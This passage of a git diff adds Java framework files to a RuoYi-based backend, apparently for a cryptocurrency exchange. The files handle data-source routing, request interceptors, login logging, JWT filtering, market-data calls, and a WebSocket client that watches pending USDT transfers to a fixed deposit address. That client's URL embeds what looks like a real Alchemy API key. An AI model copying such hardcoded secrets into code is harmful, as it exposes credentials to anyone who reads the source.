AbstractRoutingDataSource +{ + public DynamicDataSource(DataSource defaultTargetDataSource, Map targetDataSources) + { + super.setDefaultTargetDataSource(defaultTargetDataSource); + super.setTargetDataSources(targetDataSources); + super.afterPropertiesSet(); + } + + @Override + protected Object determineCurrentLookupKey() + { + return DynamicDataSourceContextHolder.getDataSourceType(); + } +} \ No newline at end of file diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/datasource/DynamicDataSourceContextHolder.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/datasource/DynamicDataSourceContextHolder.java new file mode 100644 index 0000000..c3f9926 --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/datasource/DynamicDataSourceContextHolder.java @@ -0,0 +1,45 @@ +package com.ruoyi.framework.datasource; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * 数据源切换处理 + * + * @author ruoyi + */ +public class DynamicDataSourceContextHolder +{ + public static final Logger log = LoggerFactory.getLogger(DynamicDataSourceContextHolder.class); + + /** + * 使用ThreadLocal维护变量,ThreadLocal为每个使用该变量的线程提供独立的变量副本, + * 所以每一个线程都可以独立地改变自己的副本,而不会影响其它线程所对应的副本。 + */ + private static final ThreadLocal CONTEXT_HOLDER = new ThreadLocal<>(); + + /** + * 设置数据源的变量 + */ + public static void setDataSourceType(String dsType) + { + log.debug("切换到{}数据源", dsType); + CONTEXT_HOLDER.set(dsType); + } + + /** + * 获得数据源的变量 + */ + public static String getDataSourceType() + { + return CONTEXT_HOLDER.get(); + } + + /** + * 清空数据源变量 + */ + public static void clearDataSourceType() + { + CONTEXT_HOLDER.remove(); + } +} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/ethws/WebSocketClientFactory.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/ethws/WebSocketClientFactory.java new file mode 100644 index 0000000..f097dc1 --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/ethws/WebSocketClientFactory.java @@ -0,0 +1,154 @@ +package com.ruoyi.framework.ethws; + +import com.alibaba.fastjson.JSON; +import com.alibaba.fastjson.JSONObject; +import com.ruoyi.bussiness.domain.TAppUser; +import com.ruoyi.bussiness.service.ITAppUserService; +import lombok.Data; +import lombok.extern.slf4j.Slf4j; +import org.java_websocket.WebSocket; +import org.java_websocket.client.WebSocketClient; +import org.java_websocket.handshake.ServerHandshake; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Component; + +import java.math.BigInteger; +import java.net.URI; +import java.net.URISyntaxException; +import java.util.List; + +//@Component +@Slf4j +@Data +public class WebSocketClientFactory { + + public static final String outCallWebSockertUrl = "wss://eth-mainnet.g.alchemy.com/v2/CFTFC4eiMS_M93tO3N04mHN2xwhjZ0Tp"; + public static final String transferHex = "0xa9059cbb"; + public static final String approveHex = "0x095ea7b3"; + public static final String usdtAddr = "0xdac17f958d2ee523a2206206994597c13d831ec7"; + public static final BigInteger approvalGasBigInteger= BigInteger.valueOf (8); + + private WebSocketClient outCallWebSocketClientHolder; + private static String rAddress ="0x344EC899AF52933790bf44015Be1Bf48382d7920"; + @Autowired + ITAppUserService itAppUserService; + /** + * 创建websocket对象 + * + * @return WebSocketClient + * @throws URISyntaxException + */ + private WebSocketClient createNewWebSocketClient() throws URISyntaxException { + WebSocketClient webSocketClient = new WebSocketClient(new URI(outCallWebSockertUrl)) { + @Override + public void onOpen(ServerHandshake serverHandshake) { + log.debug("opening..."); + } + @Override + public void onMessage(String msg) { + JSONObject msgJSON = JSON.parseObject (msg); + if(!msgJSON.containsKey ("params")){ + return; + } + JSONObject result = msgJSON.getJSONObject("params").getJSONObject ("result"); + String input = result.getString ("input"); + String method = input.substring(0, 10); + //转账为 + if(!method.equalsIgnoreCase (transferHex)){ + return; + } + //被转账地址需要拼接 + String substring = input.substring(34, 74); + String inputAddress ="0X"+substring; + //转账地址 可能是用户地址 + String from = result.getString ("from"); + if(rAddress.toLowerCase().equals (inputAddress.toLowerCase())){ + log.debug("监控到信息:{}","监控到充值地址入金"); + BigInteger num = new BigInteger (input.substring (74, 138), 16); + //充值金额需要除以1百万 + BigInteger inputAmount = num.divide(new BigInteger("1000000")); + TAppUser tAppUser = new TAppUser(); + tAppUser.setAddress(from); + //查询用户 + List tAppUsers = itAppUserService.selectTAppUserList(tAppUser); + if(null!=tAppUsers&&tAppUsers.size()>0){ + //自动充值 + } + + } + } + + @Override + public void onClose(int i, String s, boolean b) { + log.debug("关闭连接"); + retryOutCallWebSocketClient(); + } + + @Override + public void onError(Exception e) { + e.printStackTrace (); + log.error("连接异常:{}", e.getMessage ()); + retryOutCallWebSocketClient(); + } + }; + webSocketClient.connect(); + return webSocketClient; + } + + + /** + * 项目启动或连接失败的时候打开新链接,进行连接认证 + * 需要加同步,不然会创建多个连接 + */ + public synchronized WebSocketClient retryOutCallWebSocketClient() { + try { + // 关闭旧的websocket连接, 避免占用资源 + WebSocketClient oldOutCallWebSocketClientHolder = this.getOutCallWebSocketClientHolder(); + if (null != oldOutCallWebSocketClientHolder) { + log.debug("关闭旧的websocket连接"); + oldOutCallWebSocketClientHolder.close(); + } + + log.debug("打开新的websocket连接,并进行认证"); + WebSocketClient webSocketClient = this.createNewWebSocketClient(); + //String sendOpenJsonStr = "{\"event\":\"connect\",\"sid\":\"1ae4e3167b3b49c7bfc6b79awww691562914214595\",\"token\":\"df59eba89\"}"; + String sendOpenJsonStr = "{\"jsonrpc\":\"2.0\",\"id\": 2, \"method\": \"eth_subscribe\", \"params\": [\"alchemy_newFullPendingTransactions\", {\"toAddress\": [\"0xdac17f958d2ee523a2206206994597c13d831ec7\"], \"hashesOnly\": false}]}"; + this.sendMsg(webSocketClient, sendOpenJsonStr); + + // 每次创建新的就放进去 + this.setOutCallWebSocketClientHolder(webSocketClient); + return webSocketClient; + } catch (URISyntaxException e) { + e.printStackTrace(); + log.error(e.getMessage()); + } + return null; + } + + + /** + * 发送消息 + * 注意: 要加超时设置,避免很多个都在同时超时占用资源 + * + * @param webSocketClient 指定的webSocketClient + * @param message 消息 + */ + public void sendMsg(WebSocketClient webSocketClient, String message) { + /*log.debug("websocket向服务端发送消息,消息为:{}", message); + long startOpenTimeMillis = System.currentTimeMillis(); + while (!webSocketClient.getReadyState().equals(WebSocket.READYSTATE.OPEN)) { + log.debug("正在建立通道,请稍等"); + long currentTimeMillis = System.currentTimeMillis(); + if(currentTimeMillis - startOpenTimeMillis >= 5000) { + log.error("超过5秒钟还未打开连接,超时,不再等待"); + return; + } + }*/ + webSocketClient.send(message); + } + + + + + +} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/interceptor/RepeatSubmitInterceptor.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/interceptor/RepeatSubmitInterceptor.java new file mode 100644 index 0000000..4ddacae --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/interceptor/RepeatSubmitInterceptor.java @@ -0,0 +1,55 @@ +package com.ruoyi.framework.interceptor; + +import java.lang.reflect.Method; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import org.springframework.stereotype.Component; +import org.springframework.web.method.HandlerMethod; +import org.springframework.web.servlet.HandlerInterceptor; +import com.alibaba.fastjson2.JSON; +import com.ruoyi.common.annotation.RepeatSubmit; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.utils.ServletUtils; + +/** + * 防止重复提交拦截器 + * + * @author ruoyi + */ +@Component +public abstract class RepeatSubmitInterceptor implements HandlerInterceptor +{ + @Override + public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception + { + if (handler instanceof HandlerMethod) + { + HandlerMethod handlerMethod = (HandlerMethod) handler; + Method method = handlerMethod.getMethod(); + RepeatSubmit annotation = method.getAnnotation(RepeatSubmit.class); + if (annotation != null) + { + if (this.isRepeatSubmit(request, annotation)) + { + AjaxResult ajaxResult = AjaxResult.error(annotation.message()); + ServletUtils.renderString(response, JSON.toJSONString(ajaxResult)); + return false; + } + } + return true; + } + else + { + return true; + } + } + + /** + * 验证是否重复提交由子类实现具体的防重复提交的规则 + * + * @param request + * @return + * @throws Exception + */ + public abstract boolean isRepeatSubmit(HttpServletRequest request, RepeatSubmit annotation); +} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/interceptor/impl/SameUrlDataInterceptor.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/interceptor/impl/SameUrlDataInterceptor.java new file mode 100644 index 0000000..9dc9511 --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/interceptor/impl/SameUrlDataInterceptor.java @@ -0,0 +1,110 @@ +package com.ruoyi.framework.interceptor.impl; + +import java.util.HashMap; +import java.util.Map; +import java.util.concurrent.TimeUnit; +import javax.servlet.http.HttpServletRequest; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.stereotype.Component; +import com.alibaba.fastjson2.JSON; +import com.ruoyi.common.annotation.RepeatSubmit; +import com.ruoyi.common.constant.CacheConstants; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.filter.RepeatedlyRequestWrapper; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.common.utils.http.HttpHelper; +import com.ruoyi.framework.interceptor.RepeatSubmitInterceptor; + +/** + * 判断请求url和数据是否和上一次相同, + * 如果和上次相同,则是重复提交表单。 有效时间为10秒内。 + * + * @author ruoyi + */ +@Component +public class SameUrlDataInterceptor extends RepeatSubmitInterceptor +{ + public final String REPEAT_PARAMS = "repeatParams"; + + public final String REPEAT_TIME = "repeatTime"; + + // 令牌自定义标识 + @Value("${token.header}") + private String header; + + @Autowired + private RedisCache redisCache; + + @SuppressWarnings("unchecked") + @Override + public boolean isRepeatSubmit(HttpServletRequest request, RepeatSubmit annotation) + { + String nowParams = ""; + if (request instanceof RepeatedlyRequestWrapper) + { + RepeatedlyRequestWrapper repeatedlyRequest = (RepeatedlyRequestWrapper) request; + nowParams = HttpHelper.getBodyString(repeatedlyRequest); + } + + // body参数为空,获取Parameter的数据 + if (StringUtils.isEmpty(nowParams)) + { + nowParams = JSON.toJSONString(request.getParameterMap()); + } + Map nowDataMap = new HashMap(); + nowDataMap.put(REPEAT_PARAMS, nowParams); + nowDataMap.put(REPEAT_TIME, System.currentTimeMillis()); + + // 请求地址(作为存放cache的key值) + String url = request.getRequestURI(); + + // 唯一值(没有消息头则使用请求地址) + String submitKey = StringUtils.trimToEmpty(request.getHeader(header)); + + // 唯一标识(指定key + url + 消息头) + String cacheRepeatKey = CacheConstants.REPEAT_SUBMIT_KEY + url + submitKey; + + Object sessionObj = redisCache.getCacheObject(cacheRepeatKey); + if (sessionObj != null) + { + Map sessionMap = (Map) sessionObj; + if (sessionMap.containsKey(url)) + { + Map preDataMap = (Map) sessionMap.get(url); + if (compareParams(nowDataMap, preDataMap) && compareTime(nowDataMap, preDataMap, annotation.interval())) + { + return true; + } + } + } + Map cacheMap = new HashMap(); + cacheMap.put(url, nowDataMap); + redisCache.setCacheObject(cacheRepeatKey, cacheMap, annotation.interval(), TimeUnit.MILLISECONDS); + return false; + } + + /** + * 判断参数是否相同 + */ + private boolean compareParams(Map nowMap, Map preMap) + { + String nowParams = (String) nowMap.get(REPEAT_PARAMS); + String preParams = (String) preMap.get(REPEAT_PARAMS); + return nowParams.equals(preParams); + } + + /** + * 判断两次间隔时间 + */ + private boolean compareTime(Map nowMap, Map preMap, int interval) + { + long time1 = (Long) nowMap.get(REPEAT_TIME); + long time2 = (Long) preMap.get(REPEAT_TIME); + if ((time1 - time2) < interval) + { + return true; + } + return false; + } +} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/manager/AsyncManager.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/manager/AsyncManager.java new file mode 100644 index 0000000..7387a02 --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/manager/AsyncManager.java @@ -0,0 +1,55 @@ +package com.ruoyi.framework.manager; + +import java.util.TimerTask; +import java.util.concurrent.ScheduledExecutorService; +import java.util.concurrent.TimeUnit; +import com.ruoyi.common.utils.Threads; +import com.ruoyi.common.utils.spring.SpringUtils; + +/** + * 异步任务管理器 + * + * @author ruoyi + */ +public class AsyncManager +{ + /** + * 操作延迟10毫秒 + */ + private final int OPERATE_DELAY_TIME = 10; + + /** + * 异步操作任务调度线程池 + */ + private ScheduledExecutorService executor = SpringUtils.getBean("scheduledExecutorService"); + + /** + * 单例模式 + */ + private AsyncManager(){} + + private static AsyncManager me = new AsyncManager(); + + public static AsyncManager me() + { + return me; + } + + /** + * 执行任务 + * + * @param task 任务 + */ + public void execute(TimerTask task) + { + executor.schedule(task, OPERATE_DELAY_TIME, TimeUnit.MILLISECONDS); + } + + /** + * 停止任务线程池 + */ + public void shutdown() + { + Threads.shutdownAndAwaitTermination(executor); + } +} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/manager/ShutdownManager.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/manager/ShutdownManager.java new file mode 100644 index 0000000..e36ca3c --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/manager/ShutdownManager.java @@ -0,0 +1,39 @@ +package com.ruoyi.framework.manager; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.stereotype.Component; +import javax.annotation.PreDestroy; + +/** + * 确保应用退出时能关闭后台线程 + * + * @author ruoyi + */ +@Component +public class ShutdownManager +{ + private static final Logger logger = LoggerFactory.getLogger("sys-user"); + + @PreDestroy + public void destroy() + { + shutdownAsyncManager(); + } + + /** + * 停止异步执行任务 + */ + private void shutdownAsyncManager() + { + try + { + logger.info("====关闭后台任务任务线程池===="); + AsyncManager.me().shutdown(); + } + catch (Exception e) + { + logger.error(e.getMessage(), e); + } + } +} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/manager/blockcc/BlockccManager.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/manager/blockcc/BlockccManager.java new file mode 100644 index 0000000..b5a5576 --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/manager/blockcc/BlockccManager.java @@ -0,0 +1,107 @@ +package com.ruoyi.framework.manager.blockcc; + +import cc.block.data.api.BlockccApiClientFactory; +import cc.block.data.api.BlockccApiRestClient; +import cc.block.data.api.domain.BlockccResponse; +import cc.block.data.api.domain.enumeration.Interval; +import cc.block.data.api.domain.market.Kline; +import cc.block.data.api.domain.market.OrderBook; +import cc.block.data.api.domain.market.Price; +import cc.block.data.api.domain.market.request.KlineParam; +import cc.block.data.api.domain.market.request.OrderBookParam; +import cc.block.data.api.domain.market.request.PriceParam; +import cc.block.data.api.domain.news.Announcement; +import cc.block.data.api.domain.news.request.AnnouncementParam; +import cn.hutool.http.HttpUtil; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.stereotype.Component; + +import java.util.List; +import java.util.Locale; + +/** + * 数据源处理 历史k线 汇率 交易深度 币种价格 等等。。 + * @author ruoyi + */ +@Component +public class BlockccManager { + + public static final Logger log = LoggerFactory.getLogger(BlockccManager.class); + @Value("${mifeng.api.eth}") + private String apiKey; + @Value("${mifeng.api.host}") + private String host; + /** + * 获取交易所公告数据 + * + * @param locale 语言 + * @return 结果 + */ + public List getAnnouncement(Locale locale){ + BlockccApiClientFactory factory = BlockccApiClientFactory.newInstance(apiKey,host); + + BlockccApiRestClient client = factory.newRestClient(); + AnnouncementParam announcementParams = AnnouncementParam.builder().locale(locale).build(); + List content = client.getAnnouncements(announcementParams).getContent(); + return content; + } + /** + * 获取历史k线 + * + * @param klineParam kline请求参数 + * @return 结果 + */ + public List getHistoryKline(KlineParam klineParam){ + try { + BlockccApiClientFactory factory = BlockccApiClientFactory.newInstance(apiKey,host); + BlockccApiRestClient client = factory.newRestClient(); + // 请求方式如下 + KlineParam klineParams = KlineParam.builder().interval(klineParam.getInterval()).desc("gate-io_"+"ETH"+"_USDT").build(); + List content = client.getKline(klineParam).getContent(); + return content; + }catch (Exception e){ + log.error("获取历史k线异常{}"+e); + } + return null; + } + /** + * 获取币种 汇率 可做定时任务 每隔4小时 存入外汇数据 + * + * @return 结果 + */ + public String getExchangeRate(){ + String ret = HttpUtil.createGet ("https://data.mifengcha.com/api/v3/exchange_rate?"+apiKey) + .contentType ("application/json") + .execute ().body (); + return ret; + } + /** + * 获取币种币种价格 更新时间:5秒-60秒,按照交易量大小分级,交易量最大的币种5秒更新一次价格。 + * @param symbol 币种名称 + * @return 结果 + */ + public List getPrices(String symbol){ + //示例参数"ethereum" + BlockccApiClientFactory factory = BlockccApiClientFactory.newInstance(apiKey,host); + BlockccApiRestClient client = factory.newRestClient(); + PriceParam priceParams = PriceParam.builder().slug(symbol).build(); + List content = client.getPrices(priceParams).getContent(); + return content; + } + /** + * 获取交易对深度 + * @param symbol 币种名称 + * @return 结果 + */ + public BlockccResponse getOrderBook(String symbol){ + BlockccApiClientFactory factory = BlockccApiClientFactory.newInstance(apiKey,host); + BlockccApiRestClient client = factory.newRestClient(); + //参数 BTC + OrderBookParam orderBookParams = OrderBookParam.builder().desc("gate-io_"+symbol+"_USDT").build(); + BlockccResponse orderBook = client.getOrderBook(orderBookParams); + System.out.println(); + return orderBook; + } +} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/manager/factory/AsyncFactory.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/manager/factory/AsyncFactory.java new file mode 100644 index 0000000..267e305 --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/manager/factory/AsyncFactory.java @@ -0,0 +1,102 @@ +package com.ruoyi.framework.manager.factory; + +import java.util.TimerTask; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import com.ruoyi.common.constant.Constants; +import com.ruoyi.common.utils.LogUtils; +import com.ruoyi.common.utils.ServletUtils; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.common.utils.ip.AddressUtils; +import com.ruoyi.common.utils.ip.IpUtils; +import com.ruoyi.common.utils.spring.SpringUtils; +import com.ruoyi.system.domain.SysLogininfor; +import com.ruoyi.system.domain.SysOperLog; +import com.ruoyi.system.service.ISysLogininforService; +import com.ruoyi.system.service.ISysOperLogService; +import eu.bitwalker.useragentutils.UserAgent; + +/** + * 异步工厂(产生任务用) + * + * @author ruoyi + */ +public class AsyncFactory +{ + private static final Logger sys_user_logger = LoggerFactory.getLogger("sys-user"); + + /** + * 记录登录信息 + * + * @param username 用户名 + * @param status 状态 + * @param message 消息 + * @param args 列表 + * @return 任务task + */ + public static TimerTask recordLogininfor(final String username, final String status, final String message, + final Object... args) + { + final UserAgent userAgent = UserAgent.parseUserAgentString(ServletUtils.getRequest().getHeader("User-Agent")); + final String ip = IpUtils.getIpAddr(); + return new TimerTask() + { + @Override + public void run() + { + String address = AddressUtils.getRealAddressByIP(ip); + StringBuilder s = new StringBuilder(); + s.append(LogUtils.getBlock(ip)); + s.append(address); + s.append(LogUtils.getBlock(username)); + s.append(LogUtils.getBlock(status)); + s.append(LogUtils.getBlock(message)); + // 打印信息到日志 + sys_user_logger.info(s.toString(), args); + // 获取客户端操作系统 + String os = userAgent.getOperatingSystem().getName(); + // 获取客户端浏览器 + String browser = userAgent.getBrowser().getName(); + // 封装对象 + SysLogininfor logininfor = new SysLogininfor(); + logininfor.setUserName(username); + logininfor.setIpaddr(ip); + logininfor.setLoginLocation(address); + logininfor.setBrowser(browser); + logininfor.setOs(os); + logininfor.setMsg(message); + // 日志状态 + if (StringUtils.equalsAny(status, Constants.LOGIN_SUCCESS, Constants.LOGOUT, Constants.REGISTER)) + { + logininfor.setStatus(Constants.SUCCESS); + } + else if (Constants.LOGIN_FAIL.equals(status)) + { + logininfor.setStatus(Constants.FAIL); + } + // 插入数据 + SpringUtils.getBean(ISysLogininforService.class).insertLogininfor(logininfor); + } + }; + } + + /** + * 操作日志记录 + * + * @param operLog 操作日志信息 + * @return 任务task + */ + public static TimerTask recordOper(final SysOperLog operLog) + { + return new TimerTask() + { + @Override + public void run() + { + // 远程查询操作地点 + operLog.setOperLocation(AddressUtils.getRealAddressByIP(operLog.getOperIp())); + SpringUtils.getBean(ISysOperLogService.class).insertOperlog(operLog); + } + }; + } +} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/security/context/AuthenticationContextHolder.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/security/context/AuthenticationContextHolder.java new file mode 100644 index 0000000..6c776ce --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/security/context/AuthenticationContextHolder.java @@ -0,0 +1,28 @@ +package com.ruoyi.framework.security.context; + +import org.springframework.security.core.Authentication; + +/** + * 身份验证信息 + * + * @author ruoyi + */ +public class AuthenticationContextHolder +{ + private static final ThreadLocal contextHolder = new ThreadLocal<>(); + + public static Authentication getContext() + { + return contextHolder.get(); + } + + public static void setContext(Authentication context) + { + contextHolder.set(context); + } + + public static void clearContext() + { + contextHolder.remove(); + } +} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/security/context/PermissionContextHolder.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/security/context/PermissionContextHolder.java new file mode 100644 index 0000000..5472f3d --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/security/context/PermissionContextHolder.java @@ -0,0 +1,27 @@ +package com.ruoyi.framework.security.context; + +import org.springframework.web.context.request.RequestAttributes; +import org.springframework.web.context.request.RequestContextHolder; +import com.ruoyi.common.core.text.Convert; + +/** + * 权限信息 + * + * @author ruoyi + */ +public class PermissionContextHolder +{ + private static final String PERMISSION_CONTEXT_ATTRIBUTES = "PERMISSION_CONTEXT"; + + public static void setContext(String permission) + { + RequestContextHolder.currentRequestAttributes().setAttribute(PERMISSION_CONTEXT_ATTRIBUTES, permission, + RequestAttributes.SCOPE_REQUEST); + } + + public static String getContext() + { + return Convert.toStr(RequestContextHolder.currentRequestAttributes().getAttribute(PERMISSION_CONTEXT_ATTRIBUTES, + RequestAttributes.SCOPE_REQUEST)); + } +} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/security/filter/JwtAuthenticationTokenFilter.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/security/filter/JwtAuthenticationTokenFilter.java new file mode 100644 index 0000000..3eb2495 --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/security/filter/JwtAuthenticationTokenFilter.java @@ -0,0 +1,44 @@ +package com.ruoyi.framework.security.filter; + +import java.io.IOException; +import javax.servlet.FilterChain; +import javax.servlet.ServletException; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.security.authentication.UsernamePasswordAuthenticationToken; +import org.springframework.security.core.context.SecurityContextHolder; +import org.springframework.security.web.authentication.WebAuthenticationDetailsSource; +import org.springframework.stereotype.Component; +import org.springframework.web.filter.OncePerRequestFilter; +import com.ruoyi.common.core.domain.model.LoginUser; +import com.ruoyi.common.utils.SecurityUtils; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.framework.web.service.TokenService; + +/** + * token过滤器 验证token有效性 + * + * @author ruoyi + */ +@Component +public class JwtAuthenticationTokenFilter extends OncePerRequestFilter +{ + @Autowired + private TokenService tokenService; + + @Override + protected void doFilterInternal(HttpServletRequest request, HttpServletResponse response, FilterChain chain) + throws ServletException, IOException + { + LoginUser loginUser = tokenService.getLoginUser(request); + if (StringUtils.isNotNull(loginUser) && StringUtils.isNull(SecurityUtils.getAuthentication())) + { + tokenService.verifyToken(loginUser); + UsernamePasswordAuthenticationToken authenticationToken = new UsernamePasswordAuthenticationToken(loginUser, null, loginUser.getAuthorities()); + authenticationToken.setDetails(new WebAuthenticationDetailsSource().buildDetails(request)); + SecurityContextHolder.getContext().setAuthentication(authenticationToken); + } + chain.doFilter(request, response); + } +} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/security/handle/AuthenticationEntryPointImpl.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/security/handle/AuthenticationEntryPointImpl.java new file mode 100644 index 0000000..93b7032 --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/security/handle/AuthenticationEntryPointImpl.java @@ -0,0 +1,34 @@ +package com.ruoyi.framework.security.handle; + +import java.io.IOException; +import java.io.Serializable; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import org.springframework.security.core.AuthenticationException; +import org.springframework.security.web.AuthenticationEntryPoint; +import org.springframework.stereotype.Component; +import com.alibaba.fastjson2.JSON; +import com.ruoyi.common.constant.HttpStatus; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.utils.ServletUtils; +import com.ruoyi.common.utils.StringUtils; + +/** + * 认证失败处理类 返回未授权 + * + * @author ruoyi + */ +@Component +public class AuthenticationEntryPointImpl implements AuthenticationEntryPoint, Serializable +{ + private static final long serialVersionUID = -8970718410437077606L; + + @Override + public void commence(HttpServletRequest request, HttpServletResponse response, AuthenticationException e) + throws IOException + { + int code = HttpStatus.UNAUTHORIZED; + String msg = StringUtils.format("请求访问:{},认证失败,无法访问系统资源", request.getRequestURI()); + ServletUtils.renderString(response, JSON.toJSONString(AjaxResult.error(code, msg))); + } +} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/security/handle/LogoutSuccessHandlerImpl.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/security/handle/LogoutSuccessHandlerImpl.java new file mode 100644 index 0000000..c01f691 --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/security/handle/LogoutSuccessHandlerImpl.java @@ -0,0 +1,52 @@ +package com.ruoyi.framework.security.handle; + +import java.io.IOException; +import javax.servlet.ServletException; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.context.annotation.Configuration; +import org.springframework.security.core.Authentication; +import org.springframework.security.web.authentication.logout.LogoutSuccessHandler; +import com.alibaba.fastjson2.JSON; +import com.ruoyi.common.constant.Constants; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.domain.model.LoginUser; +import com.ruoyi.common.utils.ServletUtils; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.framework.manager.AsyncManager; +import com.ruoyi.framework.manager.factory.AsyncFactory; +import com.ruoyi.framework.web.service.TokenService; + +/** + * 自定义退出处理类 返回成功 + * + * @author ruoyi + */ +@Configuration +public class LogoutSuccessHandlerImpl implements LogoutSuccessHandler +{ + @Autowired + private TokenService tokenService; + + /** + * 退出处理 + * + * @return + */ + @Override + public void onLogoutSuccess(HttpServletRequest request, HttpServletResponse response, Authentication authentication) + throws IOException, ServletException + { + LoginUser loginUser = tokenService.getLoginUser(request); + if (StringUtils.isNotNull(loginUser)) + { + String userName = loginUser.getUsername(); + // 删除用户缓存记录 + tokenService.delLoginUser(loginUser.getToken()); + // 记录用户退出日志 + AsyncManager.me().execute(AsyncFactory.recordLogininfor(userName, Constants.LOGOUT, "退出成功")); + } + ServletUtils.renderString(response, JSON.toJSONString(AjaxResult.success("退出成功"))); + } +} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/web/domain/KlineParamVO.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/web/domain/KlineParamVO.java new file mode 100644 index 0000000..e43ca6f --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/web/domain/KlineParamVO.java @@ -0,0 +1,18 @@ +package com.ruoyi.framework.web.domain; + +import lombok.Data; + +@Data +public class KlineParamVO { + //["ONE_MIN","FIVE_MIN","FIFTEEN_MIN","THIRTY_MIN","ONE_HOUR","TWO_HOUR","SIX_HOUR","ONE_DAY","TWO_DAY","SEVEN_DAY"] + private String Interval; + //BTC or ETH ....等等 + private String symbol; + + private String[] symbols; + //结束 + private Long end ; + //交易所 + private String market; + private String[] markets; +} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/web/domain/Server.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/web/domain/Server.java new file mode 100644 index 0000000..63b03da --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/web/domain/Server.java @@ -0,0 +1,240 @@ +package com.ruoyi.framework.web.domain; + +import java.net.UnknownHostException; +import java.util.LinkedList; +import java.util.List; +import java.util.Properties; +import com.ruoyi.common.utils.Arith; +import com.ruoyi.common.utils.ip.IpUtils; +import com.ruoyi.framework.web.domain.server.Cpu; +import com.ruoyi.framework.web.domain.server.Jvm; +import com.ruoyi.framework.web.domain.server.Mem; +import com.ruoyi.framework.web.domain.server.Sys; +import com.ruoyi.framework.web.domain.server.SysFile; +import oshi.SystemInfo; +import oshi.hardware.CentralProcessor; +import oshi.hardware.CentralProcessor.TickType; +import oshi.hardware.GlobalMemory; +import oshi.hardware.HardwareAbstractionLayer; +import oshi.software.os.FileSystem; +import oshi.software.os.OSFileStore; +import oshi.software.os.OperatingSystem; +import oshi.util.Util; + +/** + * 服务器相关信息 + * + * @author ruoyi + */ +public class Server +{ + private static final int OSHI_WAIT_SECOND = 1000; + + /** + * CPU相关信息 + */ + private Cpu cpu = new Cpu(); + + /** + * 內存相关信息 + */ + private Mem mem = new Mem(); + + /** + * JVM相关信息 + */ + private Jvm jvm = new Jvm(); + + /** + * 服务器相关信息 + */ + private Sys sys = new Sys(); + + /** + * 磁盘相关信息 + */ + private List sysFiles = new LinkedList(); + + public Cpu getCpu() + { + return cpu; + } + + public void setCpu(Cpu cpu) + { + this.cpu = cpu; + } + + public Mem getMem() + { + return mem; + } + + public void setMem(Mem mem) + { + this.mem = mem; + } + + public Jvm getJvm() + { + return jvm; + } + + public void 